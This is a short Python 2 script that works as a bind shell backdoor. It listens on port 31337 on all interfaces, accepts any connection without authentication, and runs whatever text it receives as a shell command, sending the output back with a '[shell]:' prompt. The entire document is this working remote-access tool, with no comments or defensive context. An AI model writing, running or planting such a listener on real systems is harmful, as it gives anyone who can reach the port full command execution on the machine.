import socket
import sys
import subprocess

HOST = ''
PORT = 31337
s = None
for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
                              socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
    af, socktype, proto, canonname, sa = res
    try:
        s = socket.socket(af, socktype, proto)
    except socket.error as msg:
        s = None
        print msg
        continue
    try:
        s.bind(sa)
    except socket.error as msg:
        s.close()
        s = None
        continue
    break

while 1:
    s.listen(5)
    conn,addr = s.accept()
    conn.send('HEY YOU GUISE!')
    connected = 1
    while connected == 1:
        try:
            data = conn.recv(1024)
            proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            stdoutput = proc.stdout.read() + proc.stderr.read()
            conn.send(stdoutput + u"\r\n[shell]:")
        except:
            conn.close
            connected = 0